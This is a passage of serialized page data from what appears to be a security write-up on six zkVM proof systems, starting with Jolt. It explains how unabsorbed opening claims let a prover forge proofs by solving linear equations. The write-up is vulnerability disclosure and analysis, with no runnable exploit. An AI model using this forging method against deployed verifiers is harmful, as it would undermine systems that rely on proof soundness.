",{"type":23,"tag":64,"props":112644,"children":112646},{"className":112645},[1527,1528],[112647],{"type":23,"tag":481,"props":112648,"children":112650},{"className":112649},[1533],[112651],{"type":23,"tag":481,"props":112652,"children":112654},{"className":112653,"ariaHidden":1539},[1538],[112655,112684,112711,112739],{"type":23,"tag":481,"props":112656,"children":112658},{"className":112657},[1544],[112659,112664,112671,112675,112680],{"type":23,"tag":481,"props":112660,"children":112663},{"className":112661,"style":112662},[1549],"height:0.4445em;",[],{"type":23,"tag":481,"props":112665,"children":112668},{"className":112666,"style":112667},[1555,19086],"margin-right:0.0037em;",[112669],{"type":28,"value":112670},"α",{"type":23,"tag":481,"props":112672,"children":112674},{"className":112673,"style":1637},[1636],[],{"type":23,"tag":481,"props":112676,"children":112678},{"className":112677},[1642],[112679],{"type":28,"value":108841},{"type":23,"tag":481,"props":112681,"children":112683},{"className":112682,"style":1637},[1636],[],{"type":23,"tag":481,"props":112685,"children":112687},{"className":112686},[1544],[112688,112693,112698,112702,112707],{"type":23,"tag":481,"props":112689,"children":112692},{"className":112690,"style":112691},[1549],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":23,"tag":481,"props":112694,"children":112696},{"className":112695,"style":105777},[1555,19086],[112697],{"type":28,"value":106101},{"type":23,"tag":481,"props":112699,"children":112701},{"className":112700,"style":1637},[1636],[],{"type":23,"tag":481,"props":112703,"children":112705},{"className":112704},[1642],[112706],{"type":28,"value":1930},{"type":23,"tag":481,"props":112708,"children":112710},{"className":112709,"style":1637},[1636],[],{"type":23,"tag":481,"props":112712,"children":112714},{"className":112713},[1544],[112715,112719,112726,112730,112735],{"type":23,"tag":481,"props":112716,"children":112718},{"className":112717,"style":112634},[1549],[],{"type":23,"tag":481,"props":112720,"children":112723},{"className":112721,"style":112722},[1555,19086],"margin-right:0.05278em;",[112724],{"type":28,"value":112725},"β",{"type":23,"tag":481,"props":112727,"children":112729},{"className":112728,"style":1734},[1636],[],{"type":23,"tag":481,"props":112731,"children":112733},{"className":112732},[1739],[112734],{"type":28,"value":603},{"type":23,"tag":481,"props":112736,"children":112738},{"className":112737,"style":1734},[1636],[],{"type":23,"tag":481,"props":112740,"children":112742},{"className":112741},[1544],[112743,112747],{"type":23,"tag":481,"props":112744,"children":112746},{"className":112745,"style":112599},[1549],[],{"type":23,"tag":481,"props":112748,"children":112750},{"className":112749},[1555,28],[112751],{"type":23,"tag":481,"props":112752,"children":112754},{"className":112753},[1555],[112755],{"type":28,"value":112610},{"type":23,"tag":77,"props":112757,"children":112758},{},[112759,112761],{"type":28,"value":112760},"Solve: ",{"type":23,"tag":64,"props":112762,"children":112764},{"className":112763},[1527,1528],[112765],{"type":23,"tag":481,"props":112766,"children":112768},{"className":112767},[1533],[112769],{"type":23,"tag":481,"props":112770,"children":112772},{"className":112771,"ariaHidden":1539},[1538],[112773,112799,112834],{"type":23,"tag":481,"props":112774,"children":112776},{"className":112775},[1544],[112777,112781,112786,112790,112795],{"type":23,"tag":481,"props":112778,"children":112780},{"className":112779,"style":19081},[1549],[],{"type":23,"tag":481,"props":112782,"children":112784},{"className":112783,"style":105777},[1555,19086],[112785],{"type":28,"value":106101},{"type":23,"tag":481,"props":112787,"children":112789},{"className":112788,"style":1734},[1636],[],{"type":23,"tag":481,"props":112791,"children":112793},{"className":112792},[1739],[112794],{"type":28,"value":603},{"type":23,"tag":481,"props":112796,"children":112798},{"className":112797,"style":1734},[1636],[],{"type":23,"tag":481,"props":112800,"children":112802},{"className":112801},[1544],[112803,112807,112812,112821,112825,112830],{"type":23,"tag":481,"props":112804,"children":112806},{"className":112805,"style":1657},[1549],[],{"type":23,"tag":481,"props":112808,"children":112810},{"className":112809},[19215],[112811],{"type":28,"value":618},{"type":23,"tag":481,"props":112813,"children":112815},{"className":112814},[1555,28],[112816],{"type":23,"tag":481,"props":112817,"children":112819},{"className":112818},[1555],[112820],{"type":28,"value":112610},{"type":23,"tag":481,"props":112822,"children":112824},{"className":112823,"style":1637},[1636],[],{"type":23,"tag":481,"props":112826,"children":112828},{"className":112827},[1642],[112829],{"type":28,"value":1616},{"type":23,"tag":481,"props":112831,"children":112833},{"className":112832,"style":1637},[1636],[],{"type":23,"tag":481,"props":112835,"children":112837},{"className":112836},[1544],[112838,112842,112847,112852,112857],{"type":23,"tag":481,"props":112839,"children":112841},{"className":112840,"style":1657},[1549],[],{"type":23,"tag":481,"props":112843,"children":112845},{"className":112844,"style":112722},[1555,19086],[112846],{"type":28,"value":112725},{"type":23,"tag":481,"props":112848,"children":112850},{"className":112849},[19237],[112851],{"type":28,"value":642},{"type":23,"tag":481,"props":112853,"children":112855},{"className":112854},[1555],[112856],{"type":28,"value":2130},{"type":23,"tag":481,"props":112858,"children":112860},{"className":112859,"style":112667},[1555,19086],[112861],{"type":28,"value":112670},{"type":23,"tag":24,"props":112863,"children":112864},{},[112865],{"type":28,"value":112866},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":23,"tag":24,"props":112868,"children":112869},{},[112870,112872,112950],{"type":28,"value":112871},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":23,"tag":64,"props":112873,"children":112875},{"className":112874},[1527,1528],[112876],{"type":23,"tag":481,"props":112877,"children":112879},{"className":112878},[1533],[112880],{"type":23,"tag":481,"props":112881,"children":112883},{"className":112882,"ariaHidden":1539},[1538],[112884],{"type":23,"tag":481,"props":112885,"children":112887},{"className":112886},[1544],[112888,112893,112899,112904,112945],{"type":23,"tag":481,"props":112889,"children":112892},{"className":112890,"style":112891},[1549],"height:1.0641em;vertical-align:-0.25em;",[],{"type":23,"tag":481,"props":112894,"children":112896},{"className":112895,"style":90579},[1555,19086],[112897],{"type":28,"value":112898},"O",{"type":23,"tag":481,"props":112900,"children":112902},{"className":112901},[19215],[112903],{"type":28,"value":618},{"type":23,"tag":481,"props":112905,"children":112907},{"className":112906},[1555],[112908,112913],{"type":23,"tag":481,"props":112909,"children":112911},{"className":112910},[1555,19086],[112912],{"type":28,"value":53930},{"type":23,"tag":481,"props":112914,"children":112916},{"className":112915},[1572],[112917],{"type":23,"tag":481,"props":112918,"children":112920},{"className":112919},[1577],[112921],{"type":23,"tag":481,"props":112922,"children":112924},{"className":112923},[1582],[112925],{"type":23,"tag":481,"props":112926,"children":112928},{"className":112927,"style":1550},[1587],[112929],{"type":23,"tag":481,"props":112930,"children":112931},{"style":1591},[112932,112936],{"type":23,"tag":481,"props":112933,"children":112935},{"className":112934,"style":1597},[1596],[],{"type":23,"tag":481,"props":112937,"children":112939},{"className":112938},[1602,1603,1604,1605],[112940],{"type":23,"tag":481,"props":112941,"children":112943},{"className":112942},[1555,1605],[112944],{"type":28,"value":14788},{"type":23,"tag":481,"props":112946,"children":112948},{"className":112947},[19237],[112949],{"type":28,"value":642},{"type":28,"value":112951}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":23,"tag":16288,"props":112953,"children":112954},{},[],{"type":23,"tag":31,"props":112956,"children":112958},{"id":112957},"the-six-broken-systems",[112959],{"type":28,"value":112960},"The Six Broken Systems",{"type":23,"tag":24,"props":112962,"children":112963},{},[112964],{"type":23,"tag":149,"props":112965,"children":112968},{"alt":112966,"src":112967},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":23,"tag":24,"props":112970,"children":112971},{},[112972],{"type":28,"value":112973},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":23,"tag":16288,"props":112975,"children":112976},{},[],{"type":23,"tag":7092,"props":112978,"children":112980},{"id":112979},"jolt-a16z",[112981],{"type":28,"value":112982},"Jolt (a16z)",{"type":23,"tag":24,"props":112984,"children":112985},{},[112986],{"type":28,"value":112987},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":23,"tag":24,"props":112989,"children":112990},{},[112991],{"type":23,"tag":2875,"props":112992,"children":112993},{},[112994],{"type":28,"value":112995},"The proof structure:",{"type":23,"tag":435,"props":112997,"children":112999},{"code":112998},"JoltProof {\n commitments: Vec\u003CCommitment>, // Polynomial commitments to trace\n opening_claims: Map\u003COpeningId, Claim>, // \u003C- THE VULNERABLE VALUES\n proofs: Map\u003CStage, SumcheckProof>, // Sumcheck and opening proofs\n ...\n}\n",[113000],{"type":23,"tag":64,"props":113001,"children":113002},{"__ignoreMap":7},[113003],{"type":28,"value":112998},{"type":23,"tag":24,"props":113005,"children":113006},{},[113007],{"type":23,"tag":2875,"props":113008,"children":113009},{},[113010],{"type":28,"value":113011},"The verification flow:",{"type":23,"tag":24,"props":113013,"children":113014},{},[113015],{"type":23,"tag":149,"props":113016,"children":113019},{"alt":113017,"src":113018},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":23,"tag":24,"props":113021,"children":113022},{},[113023,113028,113030,113036,113038,113044,113046,113051],{"type":23,"tag":2875,"props":113024,"children":113025},{},[113026],{"type":28,"value":113027},"The bug:",{"type":28,"value":113029}," Each sumcheck instance provides an ",{"type":23,"tag":64,"props":113031,"children":113033},{"className":113032},[],[113034],{"type":28,"value":113035},"input_claim",{"type":28,"value":113037},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":23,"tag":64,"props":113039,"children":113041},{"className":113040},[],[113042],{"type":28,"value":113043},"opening_claims",{"type":28,"value":113045}," in the proof, but they were ",{"type":23,"tag":2875,"props":113047,"children":113048},{},[113049],{"type":28,"value":113050},"never absorbed into the transcript",{"type":28,"value":113052}," before the batching coefficients were derived.",{"type":23,"tag":24,"props":113054,"children":113055},{},[113056],{"type":23,"tag":149,"props":113057,"children":113060},{"alt":113058,"src":113059},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":23,"tag":24,"props":113062,"children":113063},{},[113064],{"type":23,"tag":2875,"props":113065,"children":113066},{},[113067],{"type":28,"value":113068},"How sumcheck uses opening_claims:",{"type":23,"tag":24,"props":113070,"children":113071},{},[113072,113074,113080,113082,113159],{"type":28,"value":113073},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":23,"tag":64,"props":113075,"children":113077},{"className":113076},[],[113078],{"type":28,"value":113079},"BatchedClaim",{"type":28,"value":113081}," by taking a random linear combination of the individual claims ",{"type":23,"tag":64,"props":113083,"children":113085},{"className":113084},[1527,1528],[113086],{"type":23,"tag":481,"props":113087,"children":113089},{"className":113088},[1533],[113090],{"type":23,"tag":481,"props":113091,"children":113093},{"className":113092,"ariaHidden":1539},[1538],[113094],{"type":23,"tag":481,"props":113095,"children":113097},{"className":113096},[1544],[113098,113102],{"type":23,"tag":481,"props":113099,"children":113101},{"className":113100,"style":108576},[1549],[],{"type":23,"tag":481,"props":113103,"children":113105},{"className":113104},[1555],[113106,113111],{"type":23,"tag":481,"props":113107,"children":113109},{"className":113108,"style":90813},[1555,19086],[113110],{"type":28,"value":90816},{"type":23,"tag":481,"props":113112,"children":113114},{"className":113113},[1572],[113115],{"type":23,"tag":481,"props":113116,"children":113118},{"className":113117},[1577,19140],[113119,113148],{"type":23,"tag":481,"props":113120,"children":113122},{"className":113121},[1582],[113123,113143],{"type":23,"tag":481,"props":113124,"children":113126},{"className":113125,"style":91108},[1587],[113127],{"type":23,"tag":481,"props":113128,"children":113129},{"style":108008},[113130,113134],{"type":23,"tag":481,"props":113131,"children":113133},{"className":113132,"style":1597},[1596],[],{"type":23,"tag":481,"props":113135,"children":113137},{"className":113136},[1602,1603,1604,1605],[113138],{"type":23,"tag":481,"props":113139,"children":113141},{"className":113140},[1555,19086,1605],[113142],{"type":28,"value":1274},{"type":23,"tag":481,"props":113144,"children":113146},{"className":113145},[19243],[113147],{"type":28,"value":19246},{"type":23,"tag":481,"props":113149,"children":113151},{"className":113150},[1582],[113152],{"type":23,"tag":481,"props":113153,"children":113155},{"className":113154,"style":90662},[1587],[113156],{"type":23,"tag":481,"props":113157,"children":113158},{},[],{"type":28,"value":287},{"type":23,"tag":24,"props":113161,"children":113162},{},[113163],{"type":23,"tag":64,"props":113164,"children":113166},{"className":113165},[1527,1528],[113167],{"type":23,"tag":481,"props":113168,"children":113170},{"className":113169},[1533],[113171],{"type":23,"tag":481,"props":113172,"children":113174},{"className":113173,"ariaHidden":1539},[1538],[113175,113205,113346],{"type":23,"tag":481,"props":113176,"children":113178},{"className":113177},[1544],[113179,113183,113192,113196,113201],{"type":23,"tag":481,"props":113180,"children":113182},{"className":113181,"style":90494},[1549],[],{"type":23,"tag":481,"props":113184,"children":113186},{"className":113185},[1555,28],[113187],{"type":23,"tag":481,"props":113188,"children":113190},{"className":113189},[1555],[113191],{"type":28,"value":113079},{"type":23,"tag":481,"props":113193,"children":113195},{"className":113194,"style":1734},[1636],[],{"type":23,"tag":481,"props":113197,"children":113199},{"className":113198},[1739],[113200],{"type":28,"value":603},{"type":23,"tag":481,"props":113202,"children":113204},{"className":113203,"style":1734},[1636],[],{"type":23,"tag":481,"props":113206,"children":113208},{"className":113207},[1544],[113209,113214,113271,113275,113333,113337,113342],{"type":23,"tag":481,"props":113210,"children":113213},{"className":113211,"style":113212},[1549],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":23,"tag":481,"props":113215,"children":113217},{"className":113216},[19122],[113218,113223],{"type":23,"tag":481,"props":113219,"children":113221},{"className":113220,"style":19129},[19122,19127,19128],[113222],{"type":28,"value":106374},{"type":23,"tag":481,"props":113224,"children":113226},{"className":113225},[1572],[113227],{"type":23,"tag":481,"props":113228,"children":113230},{"className":113229},[1577,19140],[113231,113260],{"type":23,"tag":481,"props":113232,"children":113234},{"className":113233},[1582],[113235,113255],{"type":23,"tag":481,"props":113236,"children":113238},{"className":113237,"style":111786},[1587],[113239],{"type":23,"tag":481,"props":113240,"children":113241},{"style":19153},[113242,113246],{"type":23,"tag":481,"props":113243,"children":113245},{"className":113244,"style":1597},[1596],[],{"type":23,"tag":481,"props":113247,"children":113249},{"className":113248},[1602,1603,1604,1605],[113250],{"type":23,"tag":481,"props":113251,"children":113253},{"className":113252},[1555,19086,1605],[113254],{"type":28,"value":1274},{"type":23,"tag":481,"props":113256,"children":113258},{"className":113257},[19243],[113259],{"type":28,"value":19246},{"type":23,"tag":481,"props":113261,"children":113263},{"className":113262},[1582],[113264],{"type":23,"tag":481,"props":113265,"children":113267},{"className":113266,"style":112066},[1587],[113268],{"type":23,"tag":481,"props":113269,"children":113270},{},[],{"type":23,"tag":481,"props":113272,"children":113274},{"className":113273,"style":1675},[1636],[],{"type":23,"tag":481,"props":113276,"children":113278},{"className":113277},[1555],[113279,113284],{"type":23,"tag":481,"props":113280,"children":113282},{"className":113281,"style":112667},[1555,19086],[113283],{"type":28,"value":112670},{"type":23,"tag":481,"props":113285,"children":113287},{"className":113286},[1572],[113288],{"type":23,"tag":481,"props":113289,"children":113291},{"className":113290},[1577,19140],[113292,113322],{"type":23,"tag":481,"props":113293,"children":113295},{"className":113294},[1582],[113296,113317],{"type":23,"tag":481,"props":113297,"children":113299},{"className":113298,"style":91108},[1587],[113300],{"type":23,"tag":481,"props":113301,"children":113303},{"style":113302},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[113304,113308],{"type":23,"tag":481,"props":113305,"children":113307},{"className":113306,"style":1597},[1596],[],{"type":23,"tag":481,"props":113309,"children":113311},{"className":113310},[1602,1603,1604,1605],[113312],{"type":23,"tag":481,"props":113313,"children":113315},{"className":113314},[1555,19086,1605],[113316],{"type":28,"value":1274},{"type":23,"tag":481,"props":113318,"children":113320},{"className":113319},[19243],[113321],{"type":28,"value":19246},{"type":23,"tag":481,"props":113323,"children":113325},{"className":113324},[1582],[113326],{"type":23,"tag":481,"props":113327,"children":113329},{"className":113328,"style":90662},[1587],[113330],{"type":23,"tag":481,"props":113331,"children":113332},{},[],{"type":23,"tag":481,"props":113334,"children":113336},{"className":113335,"style":1637},[1636],[],{"type":23,"tag":481,"props":113338,"children":113340},{"className":113339},[1642],[113341],{"type":28,"value":108841},{"type":23,"tag":481,"props":113343,"children":113345},{"className":113344,"style":1637},[1636],[],{"type":23,"tag":481,"props":113347,"children":113349},{"className":113348},[1544],[113350,113354],{"type":23,"tag":481,"props":113351,"children":113353},{"className":113352,"style":108576},[1549],[],{"type":23,"tag":481,"props":113355,"children":113357},{"className":113356},[1555],[113358,113363],{"type":23,"tag":481,"props":113359,"children":113361},{"className":113360,"style":90813},[1555,19086],[113362],{"type":28,"value":90816},{"type":23,"tag":481,"props":113364,"children":113366},{"className":113365},[1572],[113367],{"type":23,"tag":481,"props":113368,"children":113370},{"className":113369},[1577,19140],[113371,113400],{"type":23,"tag":481,"props":113372,"children":113374},{"className":113373},[1582],[113375,113395],{"type":23,"tag":481,"props":113376,"children":113378},{"className":113377,"style":91108},[1587],[113379],{"type":23,"tag":481,"props":113380,"children":113381},{"style":108008},[113382,113386],{"type":23,"tag":481,"props":113383,"children":113385},{"className":113384,"style":1597},[1596],[],{"type":23,"tag":481,"props":113387,"children":113389},{"className":113388},[1602,1603,1604,1605],[113390],{"type":23,"tag":481,"props":113391,"children":113393},{"className":113392},[1555,19086,1605],[113394],{"type":28,"value":1274},{"type":23,"tag":481,"props":113396,"children":113398},{"className":113397},[19243],[113399],{"type":28,"value":19246},{"type":23,"tag":481,"props":113401,"children":113403},{"className":113402},[1582],[113404],{"type":23,"tag":481,"props":113405,"children":113407},{"className":113406,"style":90662},[1587],[113408],{"type":23,"tag":481,"props":113409,"children":113410},{},[],{"type":23,"tag":24,"props":113412,"children":113413},{},[113414,113416,113493,113495,113500,113502,113579,113581,113658,113660,113737],{"type":28,"value":113415},"where ",{"type":23,"tag":64,"props":113417,"children":113419},{"className":113418},[1527,1528],[113420],{"type":23,"tag":481,"props":113421,"children":113423},{"className":113422},[1533],[113424],{"type":23,"tag":481,"props":113425,"children":113427},{"className":113426,"ariaHidden":1539},[1538],[113428],{"type":23,"tag":481,"props":113429,"children":113431},{"className":113430},[1544],[113432,113436],{"type":23,"tag":481,"props":113433,"children":113435},{"className":113434,"style":107549},[1549],[],{"type":23,"tag":481,"props":113437,"children":113439},{"className":113438},[1555],[113440,113445],{"type":23,"tag":481,"props":113441,"children":113443},{"className":113442,"style":112667},[1555,19086],[113444],{"type":28,"value":112670},{"type":23,"tag":481,"props":113446,"children":113448},{"className":113447},[1572],[113449],{"type":23,"tag":481,"props":113450,"children":113452},{"className":113451},[1577,19140],[113453,113482],{"type":23,"tag":481,"props":113454,"children":113456},{"className":113455},[1582],[113457,113477],{"type":23,"tag":481,"props":113458,"children":113460},{"className":113459,"style":91108},[1587],[113461],{"type":23,"tag":481,"props":113462,"children":113463},{"style":113302},[113464,113468],{"type":23,"tag":481,"props":113465,"children":113467},{"className":113466,"style":1597},[1596],[],{"type":23,"tag":481,"props":113469,"children":113471},{"className":113470},[1602,1603,1604,1605],[113472],{"type":23,"tag":481,"props":113473,"children":113475},{"className":113474},[1555,19086,1605],[113476],{"type":28,"value":1274},{"type":23,"tag":481,"props":113478,"children":113480},{"className":113479},[19243],[113481],{"type":28,"value":19246},{"type":23,"tag":481,"props":113483,"children":113485},{"className":113484},[1582],[113486],{"type":23,"tag":481,"props":113487,"children":113489},{"className":113488,"style":90662},[1587],[113490],{"type":23,"tag":481,"props":113491,"children":113492},{},[],{"type":28,"value":113494}," are random coefficients derived from the transcript. Since ",{"type":23,"tag":64,"props":113496,"children":113498},{"className":113497},[],[113499],{"type":28,"value":113043},{"type":28,"value":113501}," (containing ",{"type":23,"tag":64,"props":113503,"children":113505},{"className":113504},[1527,1528],[113506],{"type":23,"tag":481,"props":113507,"children":113509},{"className":113508},[1533],[113510],{"type":23,"tag":481,"props":113511,"children":113513},{"className":113512,"ariaHidden":1539},[1538],[113514],{"type":23,"tag":481,"props":113515,"children":113517},{"className":113516},[1544],[113518,113522],{"type":23,"tag":481,"props":113519,"children":113521},{"className":113520,"style":108576},[1549],[],{"type":23,"tag":481,"props":113523,"children":113525},{"className":113524},[1555],[113526,113531],{"type":23,"tag":481,"props":113527,"children":113529},{"className":113528,"style":90813},[1555,19086],[113530],{"type":28,"value":90816},{"type":23,"tag":481,"props":113532,"children":113534},{"className":113533},[1572],[113535],{"type":23,"tag":481,"props":113536,"children":113538},{"className":113537},[1577,19140],[113539,113568],{"type":23,"tag":481,"props":113540,"children":113542},{"className":113541},[1582],[113543,113563],{"type":23,"tag":481,"props":113544,"children":113546},{"className":113545,"style":91108},[1587],[113547],{"type":23,"tag":481,"props":113548,"children":113549},{"style":108008},[113550,113554],{"type":23,"tag":481,"props":113551,"children":113553},{"className":113552,"style":1597},[1596],[],{"type":23,"tag":481,"props":113555,"children":113557},{"className":113556},[1602,1603,1604,1605],[113558],{"type":23,"tag":481,"props":113559,"children":113561},{"className":113560},[1555,19086,1605],[113562],{"type":28,"value":1274},{"type":23,"tag":481,"props":113564,"children":113566},{"className":113565},[19243],[113567],{"type":28,"value":19246},{"type":23,"tag":481,"props":113569,"children":113571},{"className":113570},[1582],[113572],{"type":23,"tag":481,"props":113573,"children":113575},{"className":113574,"style":90662},[1587],[113576],{"type":23,"tag":481,"props":113577,"children":113578},{},[],{"type":28,"value":113580},") were not in the transcript, the ",{"type":23,"tag":64,"props":113582,"children":113584},{"className":113583},[1527,1528],[113585],{"type":23,"tag":481,"props":113586,"children":113588},{"className":113587},[1533],[113589],{"type":23,"tag":481,"props":113590,"children":113592},{"className":113591,"ariaHidden":1539},[1538],[113593],{"type":23,"tag":481,"props":113594,"children":113596},{"className":113595},[1544],[113597,113601],{"type":23,"tag":481,"props":113598,"children":113600},{"className":113599,"style":107549},[1549],[],{"type":23,"tag":481,"props":113602,"children":113604},{"className":113603},[1555],[113605,113610],{"type":23,"tag":481,"props":113606,"children":113608},{"className":113607,"style":112667},[1555,19086],[113609],{"type":28,"value":112670},{"type":23,"tag":481,"props":113611,"children":113613},{"className":113612},[1572],[113614],{"type":23,"tag":481,"props":113615,"children":113617},{"className":113616},[1577,19140],[113618,113647],{"type":23,"tag":481,"props":113619,"children":113621},{"className":113620},[1582],[113622,113642],{"type":23,"tag":481,"props":113623,"children":113625},{"className":113624,"style":91108},[1587],[113626],{"type":23,"tag":481,"props":113627,"children":113628},{"style":113302},[113629,113633],{"type":23,"tag":481,"props":113630,"children":113632},{"className":113631,"style":1597},[1596],[],{"type":23,"tag":481,"props":113634,"children":113636},{"className":113635},[1602,1603,1604,1605],[113637],{"type":23,"tag":481,"props":113638,"children":113640},{"className":113639},[1555,19086,1605],[113641],{"type":28,"value":1274},{"type":23,"tag":481,"props":113643,"children":113645},{"className":113644},[19243],[113646],{"type":28,"value":19246},{"type":23,"tag":481,"props":113648,"children":113650},{"className":113649},[1582],[113651],{"type":23,"tag":481,"props":113652,"children":113654},{"className":113653,"style":90662},[1587],[113655],{"type":23,"tag":481,"props":113656,"children":113657},{},[],{"type":28,"value":113659}," values are independent of ",{"type":23,"tag":64,"props":113661,"children":113663},{"className":113662},[1527,1528],[113664],{"type":23,"tag":481,"props":113665,"children":113667},{"className":113666},[1533],[113668],{"type":23,"tag":481,"props":113669,"children":113671},{"className":113670,"ariaHidden":1539},[1538],[113672],{"type":23,"tag":481,"props":113673,"children":113675},{"className":113674},[1544],[113676,113680],{"type":23,"tag":481,"props":113677,"children":113679},{"className":113678,"style":108576},[1549],[],{"type":23,"tag":481,"props":113681,"children":113683},{"className":113682},[1555],[113684,113689],{"type":23,"tag":481,"props":113685,"children":113687},{"className":113686,"style":90813},[1555,19086],[113688],{"type":28,"value":90816},{"type":23,"tag":481,"props":113690,"children":113692},{"className":113691},[1572],[113693],{"type":23,"tag":481,"props":113694,"children":113696},{"className":113695},[1577,19140],[113697,113726],{"type":23,"tag":481,"props":113698,"children":113700},{"className":113699},[1582],[113701,113721],{"type":23,"tag":481,"props":113702,"children":113704},{"className":113703,"style":91108},[1587],[113705],{"type":23,"tag":481,"props":113706,"children":113707},{"style":108008},[113708,113712],{"type":23,"tag":481,"props":113709,"children":113711},{"className":113710,"style":1597},[1596],[],{"type":23,"tag":481,"props":113713,"children":113715},{"className":113714},[1602,1603,1604,1605],[113716],{"type":23,"tag":481,"props":113717,"children":113719},{"className":113718},[1555,19086,1605],[113720],{"type":28,"value":1274},{"type":23,"tag":481,"props":113722,"children":113724},{"className":113723},[19243],[113725],{"type":28,"value":19246},{"type":23,"tag":481,"props":113727,"children":113729},{"className":113728},[1582],[113730],{"type":23,"tag":481,"props":113731,"children":113733},{"className":113732,"style":90662},[1587],[113734],{"type":23,"tag":481,"props":113735,"children":113736},{},[],{"type":28,"value":199},{"type":23,"tag":24,"props":113739,"children":113740},{},[113741],{"type":23,"tag":2875,"props":113742,"children":113743},{},[113744],{"type":28,"value":113745},"Why it's linear:",{"type":23,"tag":24,"props":113747,"children":113748},{},[113749,113751],{"type":28,"value":113750},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":23,"tag":64,"props":113752,"children":113754},{"className":113753},[1527,1528],[113755],{"type":23,"tag":481,"props":113756,"children":113758},{"className":113757},[1533],[113759],{"type":23,"tag":481,"props":113760,"children":113762},{"className":113761,"ariaHidden":1539},[1538],[113763],{"type":23,"tag":481,"props":113764,"children":113766},{"className":113765},[1544],[113767,113771],{"type":23,"tag":481,"props":113768,"children":113770},{"className":113769,"style":19081},[1549],[],{"type":23,"tag":481,"props":113772,"children":113774},{"className":113773,"style":90813},[1555,19086],[113775],{"type":28,"value":90816},{"type":23,"tag":24,"props":113777,"children":113778},{},[113779],{"type":23,"tag":64,"props":113780,"children":113782},{"className":113781},[1527,1528],[113783],{"type":23,"tag":481,"props":113784,"children":113786},{"className":113785},[1533],[113787],{"type":23,"tag":481,"props":113788,"children":113790},{"className":113789,"ariaHidden":1539},[1538],[113791,113881,113907,113933],{"type":23,"tag":481,"props":113792,"children":113794},{"className":113793},[1544],[113795,113799,113868,113872,113877],{"type":23,"tag":481,"props":113796,"children":113798},{"className":113797,"style":108576},[1549],[],{"type":23,"tag":481,"props":113800,"children":113802},{"className":113801},[1555],[113803,113809],{"type":23,"tag":481,"props":113804,"children":113806},{"className":113805,"style":19618},[1555,19086],[113807],{"type":28,"value":113808},"C",{"type":23,"tag":481,"props":113810,"children":113812},{"className":113811},[1572],[113813],{"type":23,"tag":481,"props":113814,"children":113816},{"className":113815},[1577,19140],[113817,113857],{"type":23,"tag":481,"props":113818,"children":113820},{"className":113819},[1582],[113821,113852],{"type":23,"tag":481,"props":113822,"children":113825},{"className":113823,"style":113824},[1587],"height:0.3361em;",[113826],{"type":23,"tag":481,"props":113827,"children":113829},{"style":113828},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[113830,113834],{"type":23,"tag":481,"props":113831,"children":113833},{"className":113832,"style":1597},[1596],[],{"type":23,"tag":481,"props":113835,"children":113837},{"className":113836},[1602,1603,1604,1605],[113838],{"type":23,"tag":481,"props":113839,"children":113841},{"className":113840},[1555,1605],[113842],{"type":23,"tag":481,"props":113843,"children":113845},{"className":113844},[1555,28,1605],[113846],{"type":23,"tag":481,"props":113847,"children":113849},{"className":113848},[1555,1605],[113850],{"type":28,"value":113851},"final",{"type":23,"tag":481,"props":113853,"children":113855},{"className":113854},[19243],[113856],{"type":28,"value":19246},{"type":23,"tag":481,"props":113858,"children":113860},{"className":113859},[1582],[113861],{"type":23,"tag":481,"props":113862,"children":113864},{"className":113863,"style":90662},[1587],[113865],{"type":23,"tag":481,"props":113866,"children":113867},{},[],{"type":23,"tag":481,"props":113869,"children":113871},{"className":113870,"style":1734},[1636],[],{"type":23,"tag":481,"props":113873,"children":113875},{"className":113874},[1739],[113876],{"type":28,"value":603},{"type":23,"tag":481,"props":113878,"children":113880},{"className":113879,"style":1734},[1636],[],{"type":23,"tag":481,"props":113882,"children":113884},{"className":113883},[1544],[113885,113889,113894,113898,113903],{"type":23,"tag":481,"props":113886,"children":113888},{"className":113887,"style":112662},[1549],[],{"type":23,"tag":481,"props":113890,"children":113892},{"className":113891},[1555,19086],[113893],{"type":28,"value":190},{"type":23,"tag":481,"props":113895,"children":113897},{"className":113896,"style":1637},[1636],[],{"type":23,"tag":481,"props":113899,"children":113901},{"className":113900},[1642],[113902],{"type":28,"value":108841},{"type":23,"tag":481,"props":113904,"children":113906},{"className":113905,"style":1637},[1636],[],{"type":23,"tag":481,"props":113908,"children":113910},{"className":113909},[1544],[113911,113915,113920,113924,113929],{"type":23,"tag":481,"props":113912,"children":113914},{"className":113913,"style":112691},[1549],[],{"type":23,"tag":481,"props":113916,"children":113918},{"className":113917,"style":90813},[1555,19086],[113919],{"type":28,"value":90816},{"type":23,"tag":481,"props":113921,"children":113923},{"className":113922,"style":1637},[1636],[],{"type":23,"tag":481,"props":113925,"children":113927},{"className":113926},[1642],[113928],{"type":28,"value":1930},{"type":23,"tag":481,"props":113930,"children":113932},{"className":113931,"style":1637},[1636],[],{"type":23,"tag":481,"props":113934,"children":113936},{"className":113935},[1544],[113937,113941],{"type":23,"tag":481,"props":113938,"children":113940},{"className":113939,"style":90494},[1549],[],{"type":23,"tag":481,"props":113942,"children":113944},{"className":113943},[1555,19086],[113945],{"type":28,"value":739},{"type":23,"tag":24,"props":113947,"children":113948},{},[113949,113950,113989,113991,114016,114018,114148,114150,114271],{"type":28,"value":113415},{"type":23,"tag":64,"props":113951,"children":113953},{"className":113952},[1527,1528],[113954],{"type":23,"tag":481,"props":113955,"children":113957},{"className":113956},[1533],[113958],{"type":23,"tag":481,"props":113959,"children":113961},{"className":113960,"ariaHidden":1539},[1538],[113962],{"type":23,"tag":481,"props":113963,"children":113965},{"className":113964},[1544]